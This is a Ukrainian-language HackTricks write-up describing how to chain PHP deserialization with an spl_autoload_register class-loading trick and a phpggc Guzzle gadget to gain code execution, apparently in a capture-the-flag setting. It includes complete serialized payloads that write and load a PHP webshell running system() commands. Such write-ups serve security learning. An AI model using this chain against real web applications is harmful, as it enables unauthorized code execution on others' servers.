PHP - Deserialization + Autoload Classes

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Спочатку вам слід перевірити, що таке Автозавантаження Класів.

PHP десеріалізація + spl_autoload_register + LFI/Gadget

Ми опинилися в ситуації, де ми знайшли десеріалізацію PHP в веб-додатку без бібліотеки, яка має вразливі гаджети всередині phpggc. Однак у тому ж контейнері був інший веб-додаток композитора з вразливими бібліотеками. Тому метою було завантажити завантажувач композитора іншого веб-додатка і використати його для завантаження гаджета, який використовуватиме ту бібліотеку з гаджетом з веб-додатка, вразливого до десеріалізації.

Кроки:

  • Ви знайшли десеріалізацію і в поточному додатку немає гаджетів

  • Ви можете використати функцію spl_autoload_register, подібну до наступної, щоб завантажити будь-який локальний файл з розширенням .php

  • Для цього ви використовуєте десеріалізацію, де ім'я класу буде в $name. Ви не можете використовувати "/" або "." в імені класу в серіалізованому об'єкті, але код замінює підкреслення ("_") на косі слеші ("/"). Таким чином, ім'я класу, наприклад, tmp_passwd, буде перетворено на /tmp/passwd.php, і код спробує його завантажити. Приклад гаджета: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Якщо у вас є завантаження файлів та ви можете завантажити файл з розширенням .php, ви можете зловживати цією функціональністю безпосередньо та вже отримати RCE.

У моєму випадку нічого подібного не було, але всередині того ж контейнера була інша сторінка веб-сайту композитора з бібліотекою, яка має вразливість до гаджета phpggc.

  • Щоб завантажити цю іншу бібліотеку, спочатку вам потрібно завантажити завантажувач композитора того іншого веб-додатка (тому що поточний додаток не матиме доступу до бібліотек іншого). Знаючи шлях до додатка, ви можете це зробити дуже легко за допомогою: O:28:"www_frontend_vendor_autoload":0:{} (У моєму випадку завантажувач композитора був у /www/frontend/vendor/autoload.php)

  • Тепер ви можете завантажити завантажувач іншого додатка, тому час згенерувати пейлоад phpgcc для використання. У моєму випадку я використовував Guzzle/FW1, що дозволило мені записати будь-який файл всередині файлової системи.

  • ПРИМІТКА: Згенерований гаджет не працював, щоб він працював, я змінив цей пейлоад chain.php phpggc та встановив всі атрибути класів з приватних на публічні. Якщо цього не зробити, після десеріалізації рядка атрибути створених об'єктів не матимуть жодних значень.

  • Тепер у нас є спосіб завантажити завантажувач композитора іншого додатка та мати пейлоад phpggc, який працює, але нам потрібно зробити це в ОДНОМУ ЗАПИТІ, щоб завантажувач був завантажений при використанні гаджета. Для цього я відправив серіалізований масив з обома об'єктами таким чином:

  • Ви можете побачити, спочатку завантажується завантажувач, а потім пейлоад

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

Опис навантаження

  • Завантажте автозавантаження композитора іншого веб-додатка в тому ж контейнері

  • Завантажте гаджет phpggc, щоб зловживати бібліотеку з іншого веб-додатка (початковий веб-додаток, який вразливий на десеріалізацію, не мав жодного гаджета у своїх бібліотеках)

  • Гаджет створить файл з PHP навантаженням на ньому в /tmp/a.php з шкідливими командами (користувач веб-додатка не може записувати в будь-яку папку будь-якого веб-додатка)

  • Остання частина нашого навантаження використовуватиме завантажте згенерований php-файл, який виконає команди

Мені потрібно було викликати цю десеріалізацію двічі. У моїх тестах перший раз файл /tmp/a.php був створений, але не завантажений, і другий раз він був правильно завантажений.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated